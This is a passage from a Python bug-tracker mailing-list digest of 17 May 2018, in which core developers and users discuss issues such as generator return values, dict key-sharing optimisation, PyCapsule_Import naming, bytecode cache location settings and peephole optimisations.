<1461260041.01.0.731551553745.issue26819@psf.upfronthosting.co.za> Message-ID: <1526545424.59.0.682650639539.issue26819@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- versions: +Python 3.6, Python 3.7, Python 3.8 -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 05:01:04 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 09:01:04 +0000 Subject: [issue33549] xmlbuilder's `_AsyncDeprecatedProperty` make no sens now that async is a keyword. In-Reply-To: <1526506426.18.0.682650639539.issue33549@psf.upfronthosting.co.za> Message-ID: <1526547664.92.0.682650639539.issue33549@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 216a27766fab59f4dfecfae0c453f7f3fd478989 by Serhiy Storchaka (Miss Islington (bot)) in branch '3.7': bpo-33549: Remove shim and deprecation warning to access DocumentLS.async. (GH-6924) (GH-6929) https://github.com/python/cpython/commit/216a27766fab59f4dfecfae0c453f7f3fd478989 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 05:02:08 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 09:02:08 +0000 Subject: [issue33549] xmlbuilder's `_AsyncDeprecatedProperty` make no sens now that async is a keyword. In-Reply-To: <1526506426.18.0.682650639539.issue33549@psf.upfronthosting.co.za> Message-ID: <1526547728.77.0.682650639539.issue33549@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Thank you Matthias! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 05:10:50 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 09:10:50 +0000 Subject: [issue23722] During metaclass.__init__, super() of the constructed class does not work In-Reply-To: <1426859061.43.0.510286082444.issue23722@psf.upfronthosting.co.za> Message-ID: <1526548250.09.0.682650639539.issue23722@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: -1013 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 05:44:59 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 09:44:59 +0000 Subject: [issue23722] During metaclass.__init__, super() of the constructed class does not work In-Reply-To: <1426859061.43.0.510286082444.issue23722@psf.upfronthosting.co.za> Message-ID: <1526550299.71.0.682650639539.issue23722@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Nick, should a DeprecationWarning be replaced with a RuntimeWarning or a RuntimeError? There are contradictions about this in comments and the documentation. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 06:05:44 2018 From: report at bugs.python.org (b@n) Date: Thu, 17 May 2018 10:05:44 +0000 Subject: [issue33554] Optimize PyDictObject Message-ID: <1526551544.61.0.682650639539.issue33554@psf.upfronthosting.co.za> New submission from b at n : make_keys_shared reusing oldkeys memory ---------- components: Interpreter Core messages: 316901 nosy: b at n priority: normal severity: normal status: open title: Optimize PyDictObject type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 06:12:10 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 10:12:10 +0000 Subject: [issue23722] During metaclass.__init__, super() of the constructed class does not work In-Reply-To: <1426859061.43.0.510286082444.issue23722@psf.upfronthosting.co.za> Message-ID: <1526551930.95.0.682650639539.issue23722@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6601 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 06:14:15 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 10:14:15 +0000 Subject: [issue23722] During metaclass.__init__, super() of the constructed class does not work In-Reply-To: <1426859061.43.0.510286082444.issue23722@psf.upfronthosting.co.za> Message-ID: <1526552055.98.0.682650639539.issue23722@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: PR 6931 replaces a DeprecationWarning with a RuntimeError (is it correct?). It was planned to do in 3.7, but it is too later for 3.7. ---------- resolution: fixed -> stage: resolved -> patch review status: closed -> open versions: +Python 3.8 -Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 06:17:37 2018 From: report at bugs.python.org (Roundup Robot) Date: Thu, 17 May 2018 10:17:37 +0000 Subject: [issue33554] Optimize PyDictObject In-Reply-To: <1526551544.61.0.682650639539.issue33554@psf.upfronthosting.co.za> Message-ID: <1526552257.05.0.682650639539.issue33554@psf.upfronthosting.co.za> Change by Roundup Robot : ---------- keywords: +patch pull_requests: +6602 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 06:24:08 2018 From: report at bugs.python.org (INADA Naoki) Date: Thu, 17 May 2018 10:24:08 +0000 Subject: [issue33554] Optimize PyDictObject In-Reply-To: <1526551544.61.0.682650639539.issue33554@psf.upfronthosting.co.za> Message-ID: <1526552648.58.0.682650639539.issue33554@psf.upfronthosting.co.za> INADA Naoki added the comment: Could you show some micro benchmark shows performance benefit? ---------- nosy: +inada.naoki _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 06:37:04 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 10:37:04 +0000 Subject: [issue23722] During metaclass.__init__, super() of the constructed class does not work In-Reply-To: <1426859061.43.0.510286082444.issue23722@psf.upfronthosting.co.za> Message-ID: <1526553424.45.0.682650639539.issue23722@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6603 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 06:37:49 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 10:37:49 +0000 Subject: [issue23722] During metaclass.__init__, super() of the constructed class does not work In-Reply-To: <1426859061.43.0.510286082444.issue23722@psf.upfronthosting.co.za> Message-ID: <1526553469.41.0.682650639539.issue23722@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: An alternate PR 6933 replaces it with a RuntimeWarning. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 06:38:55 2018 From: report at bugs.python.org (Nick Coghlan) Date: Thu, 17 May 2018 10:38:55 +0000 Subject: [issue33501] split existing optimization levels into granular options In-Reply-To: <1526314717.24.0.682650639539.issue33501@psf.upfronthosting.co.za> Message-ID: <1526553535.55.0.682650639539.issue33501@psf.upfronthosting.co.za> Nick Coghlan added the comment: PSF link for Diana Clark's thread on python-ideas about this: https://mail.python.org/pipermail/python-ideas/2017-September/047224.html (this is the same thread Brett linked, just to the PSF archives rather than Google Groups) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 06:44:14 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 10:44:14 +0000 Subject: [issue33554] Optimize PyDictObject In-Reply-To: <1526551544.61.0.682650639539.issue33554@psf.upfronthosting.co.za> Message-ID: <1526553854.45.0.682650639539.issue33554@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Are you aware of causes that prevented writing the code in this way? This will break OrderedDict. Issue31954 is an attempt to solve this problem (and it supersedes this issue). ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 06:44:52 2018 From: report at bugs.python.org (Nick Coghlan) Date: Thu, 17 May 2018 10:44:52 +0000 Subject: [issue33388] Support PEP 566 metadata in dist.py In-Reply-To: <1525027919.12.0.682650639539.issue33388@psf.upfronthosting.co.za> Message-ID: <1526553892.13.0.682650639539.issue33388@psf.upfronthosting.co.za> Nick Coghlan added the comment: If these warnings are being emitted when using setuptools, that's a bug in setuptools (as it should be ensuring these are handled without warnings), and can be reported over on https://github.com/pypa/setuptools/ If these warnings are being emitted when using plain distutils, that's OK, since it genuinely doesn't support them (and folks should be using setuptools instead). Longer term, we want to get setuptools to the point of being independent of the standard library's copy of distutils: https://github.com/pypa/packaging-problems/issues/127 Once that's the case, then we'll look at the exact mechanics of how we can stop shipping distutils by default in the standard library (and instead require folks to install setuptools in order to get it). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 06:46:17 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 10:46:17 +0000 Subject: [issue33501] split existing optimization levels into granular options In-Reply-To: <1526314717.24.0.682650639539.issue33501@psf.upfronthosting.co.za> Message-ID: <1526553977.86.0.682650639539.issue33501@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Isn't this a duplicate of the old issue2506? ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 07:10:52 2018 From: report at bugs.python.org (b@n) Date: Thu, 17 May 2018 11:10:52 +0000 Subject: [issue33554] Optimize PyDictObject In-Reply-To: <1526551544.61.0.682650639539.issue33554@psf.upfronthosting.co.za> Message-ID: <1526555452.16.0.682650639539.issue33554@psf.upfronthosting.co.za> b at n added the comment: Will not break OrderedDict, The order is still the same. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 07:22:58 2018 From: report at bugs.python.org (Sorin Sbarnea) Date: Thu, 17 May 2018 11:22:58 +0000 Subject: [issue31973] Incomplete DeprecationWarning for async/await keywords In-Reply-To: <1510096549.91.0.213398074469.issue31973@psf.upfronthosting.co.za> Message-ID: <1526556178.06.0.682650639539.issue31973@psf.upfronthosting.co.za> Sorin Sbarnea added the comment: I agree that this deprecation approach is not very helpful because it does not indicate a recommended way to fix. Yep, we all know that we will be forced to rename these parameters/variables everywhere and likely break few APIs due to it. I am curious if there is any emerging pattern for new naming as I find really annoying if every python project using these keywords would endup picking different alternatives for their rename. ---------- nosy: +sorin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 07:27:30 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 11:27:30 +0000 Subject: [issue33554] Optimize PyDictObject In-Reply-To: <1526551544.61.0.682650639539.issue33554@psf.upfronthosting.co.za> Message-ID: <1526556450.83.0.682650639539.issue33554@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Ah, I didn't notice that this affects only dicts with shared keys! Well, this is not related to the issue with OrderedDict which can't have shared keys. Still we need evidences of the performance benefit. The PR adds >40 lines of code and the benefit should be large enough to compensate the maintaining complexity and possible performance regressions in other parts of the code. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 07:33:26 2018 From: report at bugs.python.org (FHTMitchell) Date: Thu, 17 May 2018 11:33:26 +0000 Subject: [issue33555] No SyntaxError raised for `return` with argument inside generator Message-ID: <1526556806.68.0.682650639539.issue33555@psf.upfronthosting.co.za> New submission from FHTMitchell : In python 2.7 if you run the following code you get an error (as you would expect) Python 2.7.14 | packaged by conda-forge | (default, Dec 25 2017, 01:17:32) [MSC v.1500 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> def f(): ... yield 1 ... return 2 ... File "", line 3 SyntaxError: 'return' with argument inside generator However, in python 3.6 the error is silently ignored Python 3.6.4 | packaged by conda-forge | (default, Dec 24 2017, 10:11:43) [MSC v.1900 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> def f(): ... yield 1 ... return 2 ... >>> for i in f(): ... print(i) ... 1 and still is in 3.7 Python 3.7.0b2 (v3.7.0b2:b0ef5c979b, Feb 28 2018, 02:24:20) [MSC v.1912 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> def f(): ... yield 1 ... return 2 ... >>> for i in f(): ... print(i) ... 1 This is a source of confusion https://stackoverflow.com/questions/47831240/why-is-no-value-returned-from-my-generator/ especially since the PEP says it is disallowed: https://www.python.org/dev/peps/pep-0255/#then-why-not-allow-an-expression-on-return-too ---------- components: Interpreter Core messages: 316912 nosy: FHTMitchell priority: normal severity: normal status: open title: No SyntaxError raised for `return` with argument inside generator type: behavior versions: Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 07:40:44 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 11:40:44 +0000 Subject: [issue33555] No SyntaxError raised for `return` with argument inside generator In-Reply-To: <1526556806.68.0.682650639539.issue33555@psf.upfronthosting.co.za> Message-ID: <1526557244.49.0.682650639539.issue33555@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: It is not silently ignored. It is used as an argument to construct StopIteration. See The Python Language Reference: https://docs.python.org/3/reference/simple_stmts.html#the-return-statement ---------- nosy: +serhiy.storchaka resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 07:41:49 2018 From: report at bugs.python.org (Nick Coghlan) Date: Thu, 17 May 2018 11:41:49 +0000 Subject: [issue13474] Mention of "-m" Flag Missing From Doc on Execution Model In-Reply-To: <1322165458.97.0.989343856998.issue13474@psf.upfronthosting.co.za> Message-ID: <1526557309.11.0.682650639539.issue13474@psf.upfronthosting.co.za> Nick Coghlan added the comment: I've assigned the PR and issue to myself, as the proposed addition in the PR isn't quite right, but it isn't immediately obvious why not. The gist of the problem is that the current docs are actually correct and complete: modules are the first thing listed as being code blocks, and whether you import them or execute them as __main__ doesn't change that. However, I can also see why 2011-Eric thought it looked incomplete, so I'm thinking it may make sense to restructure that entire paragraph as a bulleted list, where it would be possible to mention both imported modules and modules executed as main, without giving the impression that those are inherently different things. ---------- assignee: docs at python -> ncoghlan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 07:48:03 2018 From: report at bugs.python.org (Nick Coghlan) Date: Thu, 17 May 2018 11:48:03 +0000 Subject: [issue32414] PyCapsule_Import fails when name is in the form 'package.module.capsule' In-Reply-To: <1514022429.41.0.213398074469.issue32414@psf.upfronthosting.co.za> Message-ID: <1526557683.21.0.682650639539.issue32414@psf.upfronthosting.co.za> Nick Coghlan added the comment: The behaviour I'd expect to see: "module:qual.name" -> "imports module, accesses module.qual.name" "module.qual.name" -> "no implicit import, accesses module.qual.name" "package.submodule:qual.name" -> "imports package.submodule, accesses package.submodule.qual.name" "package.submodule.qual.name" -> "no implicit import, accesses package.submodule.qual.name" So if you have ":" in the capsule path, you're requesting that the interpreter execute an import with the path up to that point before attempting to resolve the full name reference. By contrast, if you omit the ":", you're telling the interpreter that you'll take care of ensuring that any required imports have taken place before attempting to resolve the capsule reference. ---------- versions: +Python 3.8 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 08:01:54 2018 From: report at bugs.python.org (Nick Coghlan) Date: Thu, 17 May 2018 12:01:54 +0000 Subject: [issue33547] Relative imports do not replace local variables In-Reply-To: <1526503619.08.0.682650639539.issue33547@psf.upfronthosting.co.za> Message-ID: <1526558514.36.0.682650639539.issue33547@psf.upfronthosting.co.za> Nick Coghlan added the comment: As David notes, the issue in the example is the fact that you're setting "__main__.a", so "a.py" never gets imported as a module - it gets a hit on the parent module attribute, and hence stops there. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 08:03:47 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Thu, 17 May 2018 12:03:47 +0000 Subject: [issue33518] Add PEP to glossary In-Reply-To: <1526389344.41.0.682650639539.issue33518@psf.upfronthosting.co.za> Message-ID: <1526558627.83.0.682650639539.issue33518@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- pull_requests: +6604 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 08:04:46 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Thu, 17 May 2018 12:04:46 +0000 Subject: [issue33518] Add PEP to glossary In-Reply-To: <1526389344.41.0.682650639539.issue33518@psf.upfronthosting.co.za> Message-ID: <1526558686.58.0.682650639539.issue33518@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- pull_requests: +6605 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 08:14:04 2018 From: report at bugs.python.org (Nick Coghlan) Date: Thu, 17 May 2018 12:14:04 +0000 Subject: [issue33499] Environment variable to set alternate location for pycache tree In-Reply-To: <1526310769.71.0.682650639539.issue33499@psf.upfronthosting.co.za> Message-ID: <1526559244.63.0.682650639539.issue33499@psf.upfronthosting.co.za> Nick Coghlan added the comment: Regarding environment variables, note that they get used in two *very* different ways: 1. The "persistent shell setting" case that Raymond describes. While setting PYTHONBYTECODEPATH to always point to a RAM disk could make quite a bit of sense for some developers, it's more likely that this case would be associated with tools like `pipenv shell`. 2. The "inheritable process setting" case, where you prepend the environment variable setting to a shell command, or add it to the env dict in a Python subprocess call. Anywhere that I used this setting, I'd want it to be passed along to child processes, so an environment variable would be a lot more useful than a command line option. If we did add an option, then a named -X option would probably make the most sense. Regarding the state caching: having this be read once at startup would help avoid a lot of potential for weird state inconsistencies where some modules were loaded from one cache directory, while later modules were loaded from a different one. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 08:21:26 2018 From: report at bugs.python.org (FHTMitchell) Date: Thu, 17 May 2018 12:21:26 +0000 Subject: [issue33555] No SyntaxError raised for `return` with argument inside generator In-Reply-To: <1526556806.68.0.682650639539.issue33555@psf.upfronthosting.co.za> Message-ID: <1526559686.31.0.682650639539.issue33555@psf.upfronthosting.co.za> FHTMitchell added the comment: Apologies if I wasn't clear. I understand that def f(): yield 1 return is valid python. What I'm saying, if you follow the link, is that def f(): yield 1 return 2 # not the argument should not be considered valid python according to PEP 255. This is implemented in python 2 but not in python 3. ---------- resolution: not a bug -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 08:23:12 2018 From: report at bugs.python.org (FHTMitchell) Date: Thu, 17 May 2018 12:23:12 +0000 Subject: [issue33555] No SyntaxError raised for `return` with argument inside generator In-Reply-To: <1526556806.68.0.682650639539.issue33555@psf.upfronthosting.co.za> Message-ID: <1526559792.77.0.682650639539.issue33555@psf.upfronthosting.co.za> FHTMitchell added the comment: Whoops I understand. Reclosed. ---------- resolution: -> not a bug status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 08:32:34 2018 From: report at bugs.python.org (Martin Panter) Date: Thu, 17 May 2018 12:32:34 +0000 Subject: [issue33341] python3 fails to build if directory or sysroot contains "*icc*" string In-Reply-To: <1524478342.39.0.682650639539.issue33341@psf.upfronthosting.co.za> Message-ID: <1526560354.53.0.682650639539.issue33341@psf.upfronthosting.co.za> Martin Panter added the comment: Maybe this is the same as Issue 28584, about the ${CC} variable rather than ?sysroot?. In any case, the patch looks unrelated. ---------- nosy: +martin.panter _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 08:33:49 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Thu, 17 May 2018 12:33:49 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl In-Reply-To: <1523378469.47.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <1526560428.99.0.682650639539.issue33257@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: 2nd fix ready. @devteam The issue is fixed completely now, the fix can be merged. Pushed to the same PR, see https://github.com/python/cpython/pull/6444#issuecomment-389844872 why. Used the option "Hold the Tcl lock for the entire duration of a PythonCmd. To allow "downstream" calls, make the Tcl lock reentrant." from https://bugs.python.org/issue33257#msg316087 as it's the cleanest fix. @Scott M, you can help here by doing a code review. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 08:34:42 2018 From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=) Date: Thu, 17 May 2018 12:34:42 +0000 Subject: [issue33462] reversible dict In-Reply-To: <1526009418.33.0.682650639539.issue33462@psf.upfronthosting.co.za> Message-ID: <1526560482.64.0.682650639539.issue33462@psf.upfronthosting.co.za> R?mi Lapeyre added the comment: Hi Serhiy Storchaka, I will update the PR to implement this functionality in the views too ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 08:35:41 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Thu, 17 May 2018 12:35:41 +0000 Subject: [issue33518] Add PEP to glossary In-Reply-To: <1526389344.41.0.682650639539.issue33518@psf.upfronthosting.co.za> Message-ID: <1526560541.6.0.682650639539.issue33518@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- pull_requests: +6606 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 08:42:12 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 12:42:12 +0000 Subject: [issue32414] PyCapsule_Import fails when name is in the form 'package.module.capsule' In-Reply-To: <1514022429.41.0.213398074469.issue32414@psf.upfronthosting.co.za> Message-ID: <1526560932.8.0.682650639539.issue32414@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: This change would break virtually all existing usages of PyCapsule_Import(). And it would look very surprising taking into account the name of this function. Currently "package.submodule.qual.name" imports package and accesses package.submodule.qual.name. You are out of luck if package.submodule was not imported before or if importing package doesn't import package.submodule. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 08:49:04 2018 From: report at bugs.python.org (Steve Dower) Date: Thu, 17 May 2018 12:49:04 +0000 Subject: [issue33522] Enable CI builds on Visual Studio Team Services In-Reply-To: <1526400954.34.0.682650639539.issue33522@psf.upfronthosting.co.za> Message-ID: <1526561344.14.0.682650639539.issue33522@psf.upfronthosting.co.za> Steve Dower added the comment: New changeset 8965d75c90e80b6983b36f3ae9601d6a257d782b by Steve Dower (Miss Islington (bot)) in branch '3.7': bpo-33522: Enable CI builds on Visual Studio Team Services (GH-6865) (GH-6926) https://github.com/python/cpython/commit/8965d75c90e80b6983b36f3ae9601d6a257d782b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 09:16:00 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Thu, 17 May 2018 13:16:00 +0000 Subject: [issue33499] Environment variable to set alternate location for pycache tree In-Reply-To: <1526559244.63.0.682650639539.issue33499@psf.upfronthosting.co.za> Message-ID: Barry A. Warsaw added the comment: On May 17, 2018, at 08:14, Nick Coghlan wrote: > > If we did add an option, then a named -X option would probably make the most sense. +1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 09:27:19 2018 From: report at bugs.python.org (Brett Cannon) Date: Thu, 17 May 2018 13:27:19 +0000 Subject: [issue33501] split existing optimization levels into granular options In-Reply-To: <1526314717.24.0.682650639539.issue33501@psf.upfronthosting.co.za> Message-ID: <1526563639.66.0.682650639539.issue33501@psf.upfronthosting.co.za> Brett Cannon added the comment: I don't thnk they are quite the same. The other issue is about turning off the peepholer entirely while this one is about breaking up the optimizations that -O and -OO do so you can choose which ones you want (e.g. still drop docstrings but keep asserts). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 09:29:46 2018 From: report at bugs.python.org (Eric Snow) Date: Thu, 17 May 2018 13:29:46 +0000 Subject: [issue32604] Expose the subinterpreters C-API in Python for testing use. In-Reply-To: <1516413482.13.0.467229070634.issue32604@psf.upfronthosting.co.za> Message-ID: <1526563786.13.0.682650639539.issue32604@psf.upfronthosting.co.za> Change by Eric Snow : ---------- pull_requests: +6607 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 09:34:57 2018 From: report at bugs.python.org (Nick Coghlan) Date: Thu, 17 May 2018 13:34:57 +0000 Subject: [issue32414] PyCapsule_Import fails when name is in the form 'package.module.capsule' In-Reply-To: <1514022429.41.0.213398074469.issue32414@psf.upfronthosting.co.za> Message-ID: <1526564097.08.0.682650639539.issue32414@psf.upfronthosting.co.za> Nick Coghlan added the comment: Ah, sorry, I misinterpreted Petr's comment, and then didn't look at the details of your PR before commenting. Having fixed that mistake, I agree that making the naive approach "just work" is a good option. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 09:45:17 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 13:45:17 +0000 Subject: [issue2506] Add mechanism to disable optimizations In-Reply-To: <1206797921.05.0.258043023613.issue2506@psf.upfronthosting.co.za> Message-ID: <1526564717.65.0.682650639539.issue2506@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: > If anyone has needed a workaround in the past 9 years and hasn't yet found one: This no longer works in 3.7 due to folding constants at the AST level. :-) ---------- nosy: +serhiy.storchaka versions: +Python 3.8 -Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 09:46:04 2018 From: report at bugs.python.org (Steve Dower) Date: Thu, 17 May 2018 13:46:04 +0000 Subject: [issue33522] Enable CI builds on Visual Studio Team Services In-Reply-To: <1526400954.34.0.682650639539.issue33522@psf.upfronthosting.co.za> Message-ID: <1526564764.2.0.682650639539.issue33522@psf.upfronthosting.co.za> Steve Dower added the comment: New changeset 0d8f83f59c8f4cc7fe125434ca4ecdcac111810f by Steve Dower in branch '3.6': bpo-33522: Enable CI builds on Visual Studio Team Services (GH-6865) (GH-6925) https://github.com/python/cpython/commit/0d8f83f59c8f4cc7fe125434ca4ecdcac111810f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 09:47:43 2018 From: report at bugs.python.org (Ned Batchelder) Date: Thu, 17 May 2018 13:47:43 +0000 Subject: [issue2506] Add mechanism to disable optimizations In-Reply-To: <1206797921.05.0.258043023613.issue2506@psf.upfronthosting.co.za> Message-ID: <1526564863.64.0.682650639539.issue2506@psf.upfronthosting.co.za> Ned Batchelder added the comment: Folding constants won't affect control flow. The important thing here is to disable optimizing away jumps to jumps. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 09:53:10 2018 From: report at bugs.python.org (Skip Montanaro) Date: Thu, 17 May 2018 13:53:10 +0000 Subject: [issue33556] leftover thread crumb in threading.ident docstring Message-ID: <1526565190.58.0.682650639539.issue33556@psf.upfronthosting.co.za> New submission from Skip Montanaro : There is a leftover reference to "thread.get_ident" in the docstring for threading.ident. I believe it needs a leading underscore. Hopefully a PR isn't required for this. I'm not equipped to generate one at the moment, and this seems like a pretty trivial/obvious fix. ---------- components: Library (Lib) keywords: easy messages: 316931 nosy: skip.montanaro priority: normal severity: normal stage: needs patch status: open title: leftover thread crumb in threading.ident docstring versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 10:04:38 2018 From: report at bugs.python.org (Nick Coghlan) Date: Thu, 17 May 2018 14:04:38 +0000 Subject: [issue31656] Bitwise operations for bytes-type In-Reply-To: <1506870076.79.0.213398074469.issue31656@psf.upfronthosting.co.za> Message-ID: <1526565878.09.0.682650639539.issue31656@psf.upfronthosting.co.za> Nick Coghlan added the comment: Issue 19251 is still under consideration, so marking this as a duplicate, rather than as rejected. ---------- nosy: +ncoghlan resolution: rejected -> duplicate superseder: -> bitwise ops for bytes of equal length _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 10:09:55 2018 From: report at bugs.python.org (TaoQingyun) Date: Thu, 17 May 2018 14:09:55 +0000 Subject: [issue33538] Remove useless check in subprocess In-Reply-To: <1526476881.16.0.682650639539.issue33538@psf.upfronthosting.co.za> Message-ID: <1526566195.95.0.682650639539.issue33538@psf.upfronthosting.co.za> TaoQingyun <845767657 at qq.com> added the comment: I can't find the reset code, could you give me a link? Thanks. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 10:13:20 2018 From: report at bugs.python.org (Zachary Ware) Date: Thu, 17 May 2018 14:13:20 +0000 Subject: [issue33556] leftover thread crumb in threading.ident docstring In-Reply-To: <1526565190.58.0.682650639539.issue33556@psf.upfronthosting.co.za> Message-ID: <1526566400.01.0.682650639539.issue33556@psf.upfronthosting.co.za> Zachary Ware added the comment: Rather than a leading underscore, I think `thread.` should just be removed. `get_ident` is now exposed by the threading module itself. For a change this small, https://github.com/python/cpython/edit/master/Lib/threading.py can be used to create it, but every change requires a PR :) ---------- nosy: +zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 10:17:51 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 14:17:51 +0000 Subject: [issue2506] Add mechanism to disable optimizations In-Reply-To: <1206797921.05.0.258043023613.issue2506@psf.upfronthosting.co.za> Message-ID: <1526566671.04.0.682650639539.issue2506@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Few different optimizations work together here. Folding constants at the AST level allows to eliminate the constant expression statement in the code generation stage. This makes 'continue' a first statement in the 'if' body. Boolean expressions optimizations (performed in the code generation stage now) creates a conditional jump to the start of the 'if' body (which is 'continue' now). If 'continue' is not nested in 'try' or 'with' blocks, it is compiled to an unconditional jump. And finally the jump optimization in the peepholer retargets the conditional jump from the unconditional jump to the start of the loop. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 10:27:19 2018 From: report at bugs.python.org (Eric Snow) Date: Thu, 17 May 2018 14:27:19 +0000 Subject: [issue32604] Expose the subinterpreters C-API in Python for testing use. In-Reply-To: <1516413482.13.0.467229070634.issue32604@psf.upfronthosting.co.za> Message-ID: <1526567239.53.0.682650639539.issue32604@psf.upfronthosting.co.za> Eric Snow added the comment: New changeset 3ab0136ac5d6059ce96d4debca89c5f5ab0356f5 by Eric Snow in branch 'master': bpo-32604: Implement force-closing channels. (gh-6937) https://github.com/python/cpython/commit/3ab0136ac5d6059ce96d4debca89c5f5ab0356f5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 10:28:11 2018 From: report at 